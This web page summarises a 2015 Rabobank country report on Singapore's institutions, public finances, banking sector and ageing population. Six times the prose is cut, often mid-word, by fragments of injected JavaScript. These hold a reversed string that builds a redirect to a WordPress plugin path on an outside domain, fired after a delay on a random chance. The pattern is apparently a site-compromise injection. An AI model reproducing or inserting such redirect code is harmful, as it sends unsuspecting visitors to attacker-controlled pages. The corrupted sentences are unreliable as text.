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RABOBANK  ECONOMIC  RESEARCH

International Research team analyses and forecasts economic developments around the world. It also conducts country risk analysis and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that end writes country reports, provides country and sovereign risk ratings.

Their website: economics.rabobank.com .

Maartje WIJFFELAARS

Country report Singapore. 04/03/2015

 

 

Excerpts:

 

 

Strong infrastructure, institutions and high quality of government officials.

Strong institutions support GDP growth; policy making is effective and adequately responds toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to risks and shocks. Furthermore, the business environment is highly friendly and competitive: Singapore is first ranked in the Ease of Doing Business ranking and second in the Global Competitiveness Report.

A very healthy public fiscal stance.

Public balance sheets are strong; the government acts in accordance with the Government Securities Act, implying the sovereign cannot issue debt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to finance expenditure. Public net financial assets are very large (82% of GDP).

A strong international creditoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor position.

Banking sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor regulation and supervision are strong and domestic banks are among the healthiest in the world. Public external debt is zero.

The net international investment position (189% of GDP) and international reserves (90% of GDP) are very large. As such, the risk of a balance payment crisis is negligible and the scope for monetary policymaking, which targets the exchange rate, is sizeable.

But a city state that is ageing.

The state’s small size and rapidly ageing population (old-age dependency ratio of 50% in 2030 !) put a limit on the potential growth rate.